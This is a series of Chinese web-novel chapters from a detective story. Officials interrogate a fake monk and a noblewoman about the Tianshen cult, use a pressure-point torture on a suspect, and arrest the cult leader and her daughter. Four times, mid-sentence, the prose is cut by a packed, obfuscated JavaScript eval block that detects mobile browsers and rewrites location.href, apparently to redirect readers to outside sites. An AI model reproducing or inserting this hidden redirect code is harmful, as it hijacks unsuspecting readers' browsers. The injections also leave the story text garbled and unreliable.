树影幢幢,黑压压的看不清楚,只有山风呼啸而过。 云水谣对元景佑道:“景佑,你目力好,看看哪里有动物。” 元景佑指着东边的一棵松树,道:“大人,那上面有松鼠,可要给你抓下来?” “不用。” 云水谣悄悄走到那棵松树下,只听几只松鼠在交谈: “刚才我看见一个和尚往东北方向跑了,过了一会,又出来一群差人,往四面八方跑。他们怎么大晚上跑步啊?” “不知道,可能是锻炼身体吧。” 云水谣听了,已经知道那僧人天明逃跑的具体方向,对元景佑道:“景佑,你带领一队护卫,往东北方追踪。” 元景佑抬头看了看松鼠,又看了看云水谣,沉思了一瞬,随即说道:“是。” 眼看着元景佑带人离开,云水谣喃喃道:“我总是给景佑下这种奇怪的命令,却不加以解释。而每次我指的方向都能抓捕到犯人,不知道他会不会有所怀疑。” 然而,元景佑从未询问过什么,云水谣便觉得元景佑不会多想。 云水谣回到寺院的客堂,方丈及其他僧人都在此处。 云水谣问道:“僧人天明来此有多久了?” 方丈道:“天明是两年前来寒照寺挂单的。他主动承担了看守山门的职责,一直没变。平时他安分守己,不知他为何突然逃跑。” “第三进的那些房屋,是开放给香客使用的吗?” “是的,寺内屋舍众多,第三进房屋空着,就开放给香客使用,或是抄经,或是喝茶,或是闲谈,或是翻阅经书,都可以。一旦某间房有人使用,并且不想让其他人进来的话,只需关门便可,其他香客便不会打扰。” “平时那里有人巡逻吗?” “会有知客僧时不时地过去,看看香客有何需求,但不会久留。为了给香客一个安静的环境,我们一般不过去,随便他们使用那些房间。” “原来如此。” 怪不得天神教把其中一间禅房的地下室作为集会之所,一直没被寺庙发现,因为他们巡逻并不频繁。 云水谣问道:“第三进第四间客房里有地下室,您可知晓?” 这件事,刚才杜羽、孟荀等人已经跟方丈说过了。 方丈道:“说来惭愧,老衲也是第一天知道。老衲本以为那只是一间普通禅房。” “您在寺中多久了?” “二十多年。” “如果有人偷偷在禅房里挖地下室,会被发现吗?” “动静这么大,肯定会发现的。寒照寺的僧人有一百多人,每日香客也有五六百人,耳目繁杂。且如果挖地下室,必然要转运土石,老衲等人也未曾见有人在寺内转运土石。” “这么说,这个密室是很多年前就在的,只是连方丈大师也不知道。” “正是。” 既然这个密室是几十年前就有的,但是连寺内的僧人也不知道,天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14592832|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神教却知道,还能利用这间密室来传.教,可见天神教背后一定有人,且其背后势力一定地位很高。 寒照寺是皇家兴建的寺庙,大约是在二十多年前修建的。一般修建寺庙的人不会在房子中间挖个地下室,即便挖了,也会告知其他人,用来储藏东西或做其他用途。但建寺之人,显然是想利用这间密室做一些不可告人的事。 就算暂时用不上,只要守住这个秘密,幕后之人随时能用。这两年他们组建天神教,缺少集会的地点,就把这间密室告知了教主。 由此可知,天神教的教主确实不是一个普通人,天神教的组建也未必单是为了敛财或是残害人命,也许有更深的目的。 云水谣对方丈道:“方丈大师,请您将天明和尚的档案给我,另外,有密室的那间禅房先封闭,不要让外人进入。” 方丈答应了,拿了天明和尚的档案,云水谣便和众人离开了。 天色已晚,杜羽腿脚不便,是坐轿子上山的,如今仍然要坐轿子下去。 杜羽道:“累了一天了,今天回去先休息,有什么事明天再说。如果要讨论案情,我们在路上讨论一下。” 云水谣也同意,她现在很困,巴不得立刻睡觉。但心中疑团重重,她总要讨论个明白才罢休。 关于那间密室,杜羽、孟荀等人跟云水谣的观点一致,这天神教一定是有幕后靠山的,而且这靠山很大,知道很多信息,甚至连一个寺庙里有密室都知道。 所以,他们这次面对的,也是一个强大的敌人。 云水谣道:“元景佑去追那个天明和尚了,希望能追到。” 等她们赶回衙门时,发现衙门已经打开,元景佑站在里面。地上倒着一个人,被五花大绑。 云水谣走近一看,发现被绑的是个僧人,就是之前在寒照寺时给她们开门、后来又逃走的僧人天明。 他已经没有一开始那种一本正经的样子,神情有些防备,还带着几分戾气,一看就是假和尚。 见抓到了人,云水谣也不困了,直接问道:“天明师父,你为何要逃啊?” 天明道:“贫僧只是下山走走,不知为何被你们抓回来。” 元景佑冷笑道:“下山走走?那为何跑得飞快?鞋子都快冒烟了。我叫你停住,你反而跑得更快。” “夜晚漆黑,难辨来人,贫僧没认出施主是官府中人。” “我喊你站住的时候,明明已经自报家门。” “山间风大,没听清。” 元景佑一把抓住那僧人的领口,怒道:“我看你是欠收拾。” 杜羽淡淡道:“元护卫,把人放下,对出家人别这么粗鲁。” 元景佑冷笑着放开天明,用一种犀利的目光瞧着他。 云水谣问天明:“你是天神教的人,对吗?天神教的集会地点,就在寒照寺内的地下室。信徒们假装是来寺内礼佛的香客,然后偷偷走入地下室中。由于寒照寺香火鼎盛,每天人来人往,但你们的信徒并不多,所以去了哪里也并不引人注意。 平时她们在地下室集会,就由你负责引路和望风。有时候,你还会承担传.教的职责。在天神教地下室发现的那身黑袍,你也穿得上。” 105.铜钱 天明道:“云大人想象力真丰富,但贫僧并不明白大人的话。” 云水谣见他这副样子,心头火起,差点发作。 杜羽的脚开始痊愈,已经能站立了。他就站在云水谣旁边,察觉到了云水谣的情绪变化,轻轻拍了拍她的肩膀,示意她冷静。 接着,杜羽走上前,冷笑道:“天明师父,你何必继续嘴硬?褚娇娇可把一切都招了。她说,她加入天神教,完全是受你的蛊惑。那些自尽的信徒,也全是受你的诱.导。天神教的首恶,就是你。” 天明怒道:“褚娇娇胡说!我哪有蛊惑她,分明是她主动加入天神教,成为执事的!” 见天明说漏嘴了,杜羽嘴角扬起一抹浅笑。 云水谣对杜羽佩服不已,他三言两语就把天明的实话给诈出来了。 之前他们只是怀疑褚娇娇是天神教的高层,如今得到证实了。 天明和尚也意识到自己说漏嘴了,十分懊悔。 杜羽道:“你既然知道这么多,就证明你是天神教的核心人物。你也不必再隐瞒了,否则大刑伺候。把你知道的都说出来吧。” 天明认命了,道:“先把我扶起来,我躺着说话难受。” 元景佑便把他拎了起来,让他跪着回话,手脚仍被绑着。 杜羽问道:“天神教的教主是谁?你是怎么加入天神教的?” “教主的名字和来历,我不能告诉你们。我本是个孤儿,被她所救,所以为她效力。” “教主住在哪里?” 天明不肯说,紧闭着嘴。 云水谣道:“你若不肯说,便要用刑了。” 天明干脆连眼睛也闭上,一副视死如归的模样。 云水谣觉得,像天明这种人,一定很能受刑,用刑不一定有用。 于是她又说道:“你虽是天神教的高层,但是只要你如实招供,便可以将功抵罪,免于死罪,宽大处理。” 天明仍是闭着眼睛,仿佛没听见似的。 云水谣没办法了,只得吩咐人准备刑具。 杜羽却道:“等一下。来人,去将褚娇娇带出来。” 褚娇娇被带了出来。她在牢里本来已经睡着了,忽然被叫醒,一身的起床气。 然而,她看见天明和尚也在时,十分惊讶。 不过,她很快把惊讶的情绪隐藏起来。 杜羽对她说道:“褚大小姐,天明和尚说你是天神教的执事,你可承认?” 褚娇娇大叫:“他说谎!他是天神教的人,我不是!” “那你怎知他是天神教的人?” “我的奶娘孙氏参加过天神教的集会,她跟我说,参与集会的地点,是在一个寺庙内部。而负责接待和引路的,便是这天明和尚。” “这都是听你奶娘说的?” “对。” “既然一切都是由你奶娘转述,你又如何认识天明和尚呢?” “我……因为我闲来无事,也会去寒照寺游玩。他是寺内僧人,我自然见过。” 杜羽道:“你刚才说的话,有许多矛盾之处。你奶娘只是说,集会地点在一座寺庙内,那你怎么知道是寒照寺呢?天明和尚在寒照寺内只是一个负责守门的僧人,根本不起眼,寻常礼佛之人,怎么会留心他的长相,甚至知道他的姓名?更别提,你刚才进来时,看见天明也在,十分惊讶,这足以证明,你跟他很熟悉,且没想到他会被官府抓到。褚娇娇,你满身的破绽,还不从实招来?” “啊……我……” 褚娇娇这才发现,自己所编的话漏洞太多,根本瞒不过杜羽。 她只好说道:“好吧,我承认,我是天神教的信众。以前我跟我奶娘一起去参加过集会,所以认识天明和尚。但我并非天神教的执事。” 杜羽又问天明和尚:“你刚才说褚娇娇是天神教的执事,有何凭证?” 天明和尚道:“执事有一枚小铜钱,上面刻着‘执事’二字。这铜钱很小,方便随身携带。我的铜钱藏在手串上的一颗珠子里,褚娇娇的铜钱大概藏在她头顶的发簪里。” 听到天明和尚这么说,褚娇娇慌了,下意识地去摸自己的发簪,却早被云水谣抽走。 云水谣试图打开发簪,但不知道怎么打开。 元景佑道:“大人,把发簪给我。” 他接过发簪后,微一用力,发簪顶部就碎了,应该是凭手劲捏碎的。 里面果然有一枚铜钱,大概只有半个指甲盖那么大。这不是市面上流通的铜钱,而是特意制成的信物。上面应该有字,但太小了,看不清。 元景佑是习武之人,眼神好。他对着烛光看了一会,道:“大人,这上面确实有‘执事’二字。” 杜羽让人拿来放大镜,给云水谣使用。云水谣拿放大镜一看,小铜钱上果真刻着“执事”二字,还是标准的楷体。 能制造出这么小的铜钱,还能用正楷刻字,可见制作之人手艺精巧,八成就是天神教的教主所做。 而杜羽也让天明和尚打开自己的手串珠子。打开之后,天明和尚手里也有一枚一模一样的铜钱,上面也是刻着“执事”二字。 罪证确凿,无可抵赖,褚娇娇只好说道:“没错,我就是天神教的执事之一。” 云水谣问道:“你是如何加入的?” 褚娇娇道:“一开始,我只是在奶娘那里看到了一个雕像,便询问她是从哪里来的。她跟我说了天神教,我嗤之以鼻,并不相信天神教的教义。只是,这雕像好看,我很喜欢,便留下了。我询问有没有其他雕像,奶娘说有,但是雕像都是天神教教主所刻,数量不多,她也是好不容易才花高价买了一个。她还说,天神教有书籍,介绍这些天神的故事。我想让她弄一本书籍给我看看,全当看话本子了。 可奶娘说,天神教的书籍并不能让外面的书局印刷,只能由执事抄录,再卖给信众,因此也十分难得,她还没有抢到。我也就算了,并叫奶娘不要再去天神教的集会。可奶娘对天神教深信不疑,不听我的劝告,还时常祭拜天神。后来,我还听说了几起少女自尽案,似乎也跟天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14599502|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神教有关。因此,我发现了一个机会。 天神教操纵人心如此厉害,敛财手段也很强,如果我能加入天神教,并成为首领之一,那也算是有一番自己的事业了。因此,我假装信了天神教,让奶娘带我参加集会。去了之后,我偷偷找上当时的执事,说自己想加入天神教的核心层。我能利用我的身份,给天神教打掩护,并帮助她们传播。而她们要给我首领的身份,让我享受操纵别人的感觉。 执事说需要跟教主商量。后来,教主同意了,我就这样成为天神教的执事,帮她们做事。在这个过程中,我觉得很充实,很有价值感。我再也不是只能靠父亲活着的大小姐了,我能自己挣钱,还有许多人对我俯首帖耳。” 云水谣听得既惊讶,又恶心,皱眉道:“你把当天神教的执事,当做自己的事业?” 褚娇娇却一点也不觉得有什么,反而笑道:“你不觉得很有趣吗?那些愚蠢的女人,听了几个故事,见了几个雕像,就对天神教深信不疑,献上自己的钱财和忠诚,甚至愿意为了几尊雕像去死。我不仅得到了钱,也觉得生活没那么无趣了。” 云水谣也不知道该说什么。出身高贵的人,确实很有可能像褚娇娇这样,对普通人缺乏尊重,甚至人命在她眼中也是儿戏。 也许是因为衣食无忧,各种东西也唾手可得,她的人生十分无聊,所以总想找点乐子。而一般的乐子,已经满足不了她了。 以前,有些贵族喜欢让奴隶像野兽一样互相搏斗,或是把普通人当成箭靶子来射杀,甚至割小孩的肉吃,他们的心态也跟褚娇娇类似。 杜羽和元景佑也微微皱眉,听不得褚娇娇这样说话。 孟荀是个暴脾气,走到褚娇娇面前,骂道:“怎么会有你这种人!如果你是被天神教骗了,或是被胁迫加入天神教,那还情有可原。可你竟是主动加入,以迫害别人为乐,简直令人发指!” 褚娇娇却不以为然:“跟其他人比起来,我做的这点事又算什么?那些少女竟然相信人造的伪神,还为了几尊雕像自尽,如此愚钝,活着也是浪费粮食。倒不如把她们的钱给我。” “你挣的都是昧良心的钱!” “我只知道这些钱是别人主动给我的,我为了挣这些钱,也付出了努力。我向信众们说天神的故事,说得口干舌燥。这都是我的劳动所得。” “你……无耻之尤!” 孟荀终究受过良好的教育,也骂不出更脏的话。 而褚娇娇明显是不会悔改的,跟她多说无益。 云水谣问褚娇娇:“你从天神教获得的钱,现在在哪里?” “花了一部分,另一部分存着。我即将去选太子侧妃,身边的钱自然越多越好。” “你选不了了。” “我知道。成王败寇,我也没什么好说的。不过,我爹可是武陵侯,战功赫赫,你们也没法杀我。我做的不是什么大恶之事,只不过是帮着天神教传.教,分一点佣金而已。是教主和其他执事想出了这个教派和种种害人的手段,她们才是元凶。” 106.夜审 云水谣道:“谁说你没犯死罪?诚安伯府的两位小姐,还有曲离侯府的两位小姐,不就是因为拿了你给的雕像,信了天神教,才自尽的吗?” 褚娇娇:“都到这时候了,我没必要说谎。是我做的我会认,不是我做的我也要说清楚。她们房中的雕像确实跟我无关。一开始,我确实存了让她们信天神教,最好能为天神自尽的心思。但我跟她们说这些,她们并不信,也没有接受我给的雕像。后来我再要登门拜访,她们也不怎么见我了。 在这件事里我唯一撒的谎,就是我之前说没想害死她们,只是想让她们爱上天神,从而退出选秀。其实我是存了害人之心的,我知道年轻女孩们一旦接触了天神教的故事,就很难自拔,后续也很有可能会自尽。只不过我的计策没有成功罢了。 至于她们房中的雕像,可能是别人放进去的。” 云水谣道:“你既说她们不信天神教,为何后来又会购买这些雕像?” “也未必是购买的啊,也许是有人偷偷放进她们的房间,连她们自己也不知道。也许她们的死另有隐情,但是幕后凶手想栽赃到天神教头上,因此才偷偷在死者的房间放上雕像。” 褚娇娇虽然是随口一说,但确实存在这个可能。 这几天,她们一直在追查天神教,一来是因为天神教本就要铲除,二来是天神教是最有可能造成四名死者死亡的原因。当然,云水谣等人也没有百分百确定死者的死因就是这个。 而死者房间的雕像如果是被人偷偷放入的,最有可能做到此事的,就是死者身边的下人。 杜羽也想到了这一点,道:“云大人,你继续审问褚娇娇、天明和尚,跟进天神教这边的事。我将几位死者身边的下人全都叫来,审问他们是否将雕像偷偷放入死者房中。” 云水谣点了点头。 杜羽吩咐了几个护卫,让他们趁夜去诚安伯府、曲离侯府拿人。如果等到明天,怕是又有变数。 护卫们领命而去。 今晚估计是个不眠夜了。杜羽吩咐下人去做点夜宵,顺便拿几个提神的香囊来,以免犯困。 孟荀打了个呵欠,云水谣本想让她去睡觉,但她拒绝了:“我堂妹的官司还未了结,我无心睡觉。” 云水谣道:“可是害死她们的未必是天神教,只怕一时半会找不出凶手。” “那我也等着,说不定她们身边的下人会说出什么有用的信息呢。” 云水谣也不再劝,只是吩咐下人拿来椅子和毯子,让孟荀坐下,盖上毯子以免着凉。 孟荀便老实不客气地坐在一旁,喝着丫环给的茶水。 褚娇娇大小姐的毛病又犯了,盯着孟荀道:“凭什么她可以舒服地坐着,我就得跪着?我又饿又累,我要吃饭,要睡觉!去把我的狐裘披风拿来!” 孟荀微笑看着褚娇娇,颇有几分想气死她的意味:“你犯法了,我没犯法,所以自然是我坐着,你跪着。这不是你自找的吗?” 褚娇娇叫道:“我只不过是组织了几次天神教的集会而已!我又不曾持刀杀人,算什么犯法?” 云水谣道:“潜移默化地影响人的心智,这比持刀杀人还可怕。” 褚娇娇这才没话说了。 云水谣问道:“天神教内部的一些事情,你知道吗?若能坦白,可以从宽处理。” 褚娇娇道:“你问吧。” 天明和尚在一边急道:“不能说!” 褚娇娇道:“为什么不能说?云司马都说了,只要我坦白,就从宽处理。你不要命了,我可要的,我还要回家当大小姐。” 天明道:“你……” 他气得往后栽倒,又被元景佑提着领口,让他重新跪好。 天神教教主对天明有恩,所以天明不愿出卖。但褚娇娇是后来才加入的,双方本就是因利益而合在一起,没有什么情感上的牵扯,所以褚娇娇自然没有什么心理负担。 云水谣问褚娇娇:“你可知天神教教主是谁?是什么来历?” 褚娇娇干脆地答道:“不知道,我只听其他人叫她教主。见面时,她一直黑纱蒙面,我也不知道她长什么样子。” “她没告诉你她的姓名?” “没有,她倒是问了我的很多私事。我是后来加入的,她防着我,不愿意告诉我太多也很正常。” “那你可知她住在何处?” “不知道,每次见面,都是在茶楼、郊外之类的地方,每次的地点都不一样,教主从未邀请我去过她家。” “那天神教一共有多少核心人员?” “她有几个仆人,也是一样戴着面纱。天神教内部的首领,我只认识天明和尚和另一位执事。” “另一位执事是谁?” “不知道,她每次见我时,也是黑纱蒙面的。” “……” 云水谣一时愣住了,都不知道怎么继续往下问。这个褚娇娇,真是一问三不知啊。 不过这也正常,褚娇娇本就不是教主的心腹,是自己主动加入的,那么天神教对褚娇娇也是利用居多,自然不可能让她知晓什么核心机密。 对褚娇娇来说,天神教这般藏着掖着也无所谓,只要她们愿意接纳自己,让自己成为首领之一,并且赚到的钱能分她一些,她也达到目的了,就没必要寻根究底。 云水谣觉得头大如斗。知晓内情的天明和尚不愿招供,不知晓内情的褚娇娇倒说个没完,只是说的全是废话。 褚娇娇道:“云大人,我回答了你这么多问题,是否可以对我轻判了?” “你……” 云水谣没法再说下去,她觉得褚娇娇真的是个人才。 杜羽对褚娇娇道:“你根本没说任何有用的事情。但你若是能让天明开口,罪责便可减轻。” 褚娇娇想了想,道:“天明以前练功的时候好像练得不对,导致留下了隐疾,如果他脚上的照海穴被按压,他就会浑身疼痛难忍。有一次他自己不小心按到了,疼了许久,被我看见了。” 天明听了这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14608235|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话,对褚娇娇怒目而视:“你……” 元景佑已经点住他全身的穴道,使他无法动弹。 接着,元景佑按住了他脚上的照海穴,天明立刻大声吼叫起来,顾不得任何体面,犹如野兽嘶吼。 杜羽道:“点住他哑穴。” 元景佑点头,将天明的哑穴也点了。天明连叫也叫不出来,那种感觉真的难以用言语形容。 他面目狰狞,眼球突出,青筋暴起,浑身冒汗,几乎要晕厥了。 本来他可以用翻滚、吼叫来缓解疼痛,但现在他的穴道被点,没有任何环节疼痛的方式。 这种疼痛远比受刑来得痛苦。受刑时,只针对身体某一处,尚可勉强支撑。且官员为了避免犯人死去,也不会用刑太长时间。一旦不用刑,就有缓和的空间。 可现在,天明全身都疼,从头皮疼到牙齿,从脖子疼到脚,就像是有人用几千个锤子在他身体各处捶打。 杜羽偏偏笑嘻嘻地看着他:“天明师父,滋味如何?” 天明的眼中已经露出了哀求的神色,杜羽看见了,便命元景佑松开,并解开他的哑穴。 天明躺到在地,大口喘气,过了许久才能说话:“别折磨我了……” 杜羽问道:“你肯招了吗?” 天明却摇头:“我死也不招。” 杜羽微微皱眉。 在经历了这么极端的痛苦后,天明还不肯招,显然是对天神教教主十分忠心。在这种情况下,继续用刑没有什么意义。 杜羽略加思索,对天明道:“如果你肯实话实说,待官府抓到天神教教主后,会饶她一命。她背后另有主谋,创办天神教不是她的意思,而是幕后主谋的意思,她只能算是从犯。但是,如果你不说,你以为她就能一直逍遥法外吗?等她失去利用价值,她幕后的主谋就会杀了她。” 其实天神教背后有靠山之事,也只是云水谣、杜羽等人的猜测。但杜羽为了套出天明的话,就故意说得很笃定。 天明将信将疑:“此话当真?” “当然。凭天神教教主一个人,又怎么能做成这么大的事?她一定也是听命于人。现在官府在彻查天神教,天神教迟早会被剿灭。到那时,教主只有死路一条。说不定她背后的主子,为了掩盖真相,还会提前杀了她。” 杜羽言之凿凿,天明也有几分相信了。他受过教主的恩惠,自然以教主的最高利益为考量。 因此,他说道:“我愿招供,还请几位大人说话算话。” 杜羽道:“当然。现在,你可以告诉我们,天神教教主是什么人了吧?” 天明道:“教主叫闵红姑,据说是一个木雕匠人的女儿。她的雕刻手艺很厉害,天神教的雕像,还有我们几位执事的铜钱牌,都是出自她手。她年轻时应该是很美的,只是不知何故毁容了。我是十岁那年遇到她的,她救了我,一直抚养我。每隔一段时间,就会有几个蒙面武师来教我和她女儿武功。” 云水谣惊讶道:“教主有女儿?” 107.教主 “正是。” “她女儿叫什么名字?多大年纪?” “叫闵暗雪,大概跟我差不多大吧,今年可能十七八岁。” 在传闻中,天神教教主年轻时受了情伤,所以终身未嫁。没想到,她竟是有女儿的。 云水谣问道:“她女儿的生父是谁?” “不知道,教主从未提起,我也从未见过她跟哪个男人一起生活。” “那教主的女儿,也在天神教中吗?” “对,她也是天神教的执事之一。再加上我和褚娇娇,天神教一共三个执事。” “这么说,在褚娇娇加入之前,天神教的核心人物只有教主、教主女儿和你?” “对。” “这人数着实少了一些。” “除了我们三个外,还有一些下属可用,那些下属不算首领。教主似乎不想把天神教扩张得太大,所以也没想要多增加几位首领。” 杜羽问道:“你刚才说,你小时候,每隔一段时间,就有武师来教你和闵暗雪武功?” “对。” “教主为何不亲自教你们?” “教主不会武功。” 杜羽沉思片刻,道:“一个不会武功的弱女子,能联络到武师,还有一批下属可用,可见她背后肯定是有人的。她也只是背后主子的一颗棋子而已。” “原来如此,我之前没有深想。” 天明不禁对杜羽的话又深信了几分。教主只要不是首恶,就有被饶过一命的可能。天明心中燃起了一丝希望。 杜羽接着问道:“教主和她女儿的住所,现在可以说了吧?” “从此处往北有个青曲镇,镇上有个义庄。义庄左边第三个棺材打开,里面有个暗门。从暗门走下去,便是我们平时的居所。” 杜羽立刻叫人去青曲镇的义庄抓人。除了普通衙役外,他还额外派了三十名武功精良的护卫前去。 这时,下人们已经将夜宵做好,提神的香囊也准备好了。 杜羽等人便简单吃了饭,衙役们给褚娇娇、天明也喂了一些。 褚娇娇不肯吃,道:“这些饭菜比我家小厨房做的差远了!我要吃文思豆腐、虫草乌鸡汤、荠菜鲜虾云饺、冰糖燕窝!” 杜羽扬了扬眉:“那就别喂了,让她饿着。” “喂,你们怎么能饿着本小姐,我可是武陵侯千金!” 杜羽道:“烦死了,把她的嘴堵上。” 衙役们寻了块布,将褚娇娇的嘴堵上,褚娇娇只好饿着肚子看其他人吃饭。 提神的香囊人手一个,云水谣闻了之后,清醒许多。 过了一会,前去诚安伯府和曲离侯府的衙役们也回来了,带回许多个伺候过几名死者的下人。 杜羽道:“我先将这些人带到牢房去审问,看他们有没有将天神教的雕像放进死者房中。这里就麻烦云司马接着讯问了。” 云水谣点头:“好,记得一并问问七彩、青叶两个丫头。” 杜羽带着两家的下人走后,云水谣接着询问天明:“天神教是什么时候成立的?成立天神教之前,你们都在干什么?” 天明道:“天神教大概是在两年前成立的。两年前的某一天,红姨忽然对我们说,她要成立一个叫天神教的组织。具体事宜,她都已经想好,我们只需要按照她的吩咐去做。她当时安排得井井有条,像是已经考虑这件事很久了,可之前我跟她女儿一点风声都没听说。 天神教成立以前,我和红姨、闵暗雪居无定所,经常搬家。但每次搬家,都会有一些蒙面人前来帮忙。” 听起来,这个教主闵红姑似乎早已投靠了幕后的主子,所以这么多年,她的生活都有人照顾。 云水谣又问:“这两年你们敛了多少财?可有账本?” “账本在红姨那里,具体有多少数额我也不知。” 云水谣没什么要问的了,接下来就看护卫们能不能抓到教主及其女儿了。 外面更深露重,天明刚受了刑,褚娇娇又是大小姐,云水谣怕他们两人撑不住,就让人将她们转移到牢房内。在这种天气很容易生病,而犯人生病比普通人难治很多,因为监牢的条件很差,不卫生的环境会进一步加重病情。 云水谣和孟荀也进入客厅等着。 客厅里升起了火炉,丫环们在火炉上放上架子,烤着橘子、草莓、红枣、桂圆等水果,中间还有个小陶炉,煮着祁门红茶。 云水谣便和孟荀、柳依依等人围坐在一起,吃些点心,喝点热茶。 这样的场景本该十分惬意,只是她们心头都被案子所笼罩,所以并不轻松。 孟荀道:“我担任卫县县令,不能长时间不在,估计明天或者后天我就得走了。明天清晨,我先去拜访叔父诚安伯,吊唁一下两个堂妹。曲离侯家跟我也有远亲,我也需上门吊唁。” 云水谣道:“你去吧,我已经提前通知这两家,说你会到来,代表孟氏吊唁,他们应该已经准备好了。” “可惜不能确定真正的凶手是谁。” 云水谣问道:“你跟孟芳茵、孟芳茹两位死者熟悉吗?” “她们虽是我堂妹,但我们不住在一个地方,见面次数不多。在我印象中,她们俩都挺不错的,感情也好。” “所以,她们不会因为什么利益,自相残杀?” “据我了解不会,但也说不好,得看她们遇到了什么事。可惜现在什么也不知道。” 一个时辰之后,杜羽走了进来,道:“我审问了几位死者身边的下人,各种方法都用了,她们都说不曾往死者房中放入雕像。” 云水谣道:“如果不是下人偷偷放的,又不是褚娇娇放的,会是谁?” “天神教信众很多,也许几位死者是通过别的渠道得到这几个雕像的,但也无迹可寻了。” “那杜长史认为,死者的死因是被天神教所欺骗吗?” “目前来看这最有可能,但还是解释不了几个疑点,比如她们为何会打听豆子的价格,为何得知豆子涨价便害怕,还有,她们得知我坠马受伤也感到害怕。” 云水谣道:“还有她们的姻缘树,无缘无故被烧,处处都透露着蹊跷。” 杜羽道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14623160|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “对,还有姻缘树这一节,差点忘了。我看,我得去姻缘林那里看看。” “她们的姻缘树被烧,已经是去年的事了。我认为跟这次的案子没什么关系。而且,姻缘林无人看守,就算当时是有人做了手脚,对方也可以将一些物证拿走或销毁。这会去查,应该查不出什么了。” “话虽如此,还是去看看比较放心。” “你腿脚不便,还是让景佑跑一趟吧。” 元景佑点头,刚要出发,云水谣道:“忙什么?先睡一觉,等休息好了再去。这个任务并非十万火急,也不用担心有什么人会被灭口,无需赶时间。” 元景佑笑了笑:“大人说的是。” 云水谣知道他这一天也累得很了,赶紧推他去睡觉。 元景佑边走边笑:“大人,您别操心我了,您自己歇会吧。” 云水谣也不想这么操心,但是元景佑的心思总是在她身上,很少考虑到自己,那云水谣也不免时不时地关心一下他的身体状况。否则,有时候元景佑到了饭点都会忘了吃饭,累极了也会继续守在云水谣身边。 送走了元景佑后,云水谣也打了个盹。 没过多久,她听见一阵脚步声,便醒了过来。原来是之前派去捉拿天神教教主的衙役和护卫回来了,他们押着两个女子,还带着许多东西,看来这趟收获不浅。 这两个女子,一个穿着蜜合色的衣服,隐隐有几缕白发,看着年纪大些,脸上全是纵横交错的疤痕,眼神中还流露着阴狠深沉之意,看着很可怕。 另一个女子穿着浅杏色罗裙,身量苗条,生得沉鱼落雁,楚楚动人,一双眼睛犹如三月春水般美妙。仔细看时,会发现这两个女子的脸型是差不多的。 这两人应该就是天神教的教主闵红姑和她女儿了。从她女儿的容貌可以看出,闵红姑年轻时也必定是个标致的美人。也难怪她不甘心做个普通人,想嫁给贵族,一步登天了。 她们大概是因为在自己家里,暂时不需要出门,所以并未穿着黑袍、戴面纱,而是穿了日常的衣服。 云水谣问道:“你们就是天神教的教主闵红姑、执事闵暗雪?” 那中年女子道:“看来天明已经把一切都招了。” 云水谣道:“没错。” 这中年女子这样说,云水谣便知道她一定就是教主闵红姑了。 接着,云水谣说道:“你们已经被抓住,再挣扎也没有意义,不如如实交代。闵红姑,凭你一个弱女子,是没法组建天神教这样的组织的。而且,天神教害人的方式很复杂,也不像是你能想出来的。你背后是不是还有主子?他让你组建天神教有何目的?诚安伯府的两位小姐、曲离侯府的两位小姐,究竟是不是在你的谋划下害死的?” 闵红姑把头一偏:“无可奉告。” 杜羽道:“你别嘴硬。你和你女儿都在这里,我们要是对其中一个用刑,想必另一个肯定看不下去,到时候仍是问什么就得答什么。既然如此,何必费这番功夫呢,不如直接说实话吧。” 闵红姑恨恨地抬头:“你们是朝廷官员,怎能如此卑鄙?” 108.姐妹 “这是正常的刑讯手段,怎么叫做卑鄙?你们组建天神教,既敛财,又害人,才是真的卑鄙吧?” 闵暗雪对母亲道:“娘,事已至此,不如您就实话实说吧。我们大势已去,若是认罪态度良好,说不定还能减刑。” 闵红姑想了想,道:“也行。你们不是想知道真相吗?可以看看这些官差搜出来的东西,就明白了。” 官差们把搜出来的东西全都拿出来,放在桌上,让云水谣、杜羽查看。 这些东西大部分是雕像,大约有五十多个,应该是闵红姑最近雕刻、还来不及卖掉的雕像。云水谣也没在意,继续看其他东西。 